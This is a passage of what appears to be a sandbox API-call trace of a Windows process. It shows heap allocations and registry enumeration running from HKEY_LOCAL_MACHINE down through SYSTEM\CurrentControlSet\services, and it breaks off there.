returned 0x21f1898 [0253.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.605] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.605] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.606] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.606] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.606] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.607] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.607] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.607] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.607] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.607] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.608] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.608] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.608] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.608] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.609] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.609] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.609] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.610] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.610] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.610] RegCloseKey (hKey=0xc4) returned 0x0 [0253.610] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.610] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.611] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.611] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.611] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.611] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.612] 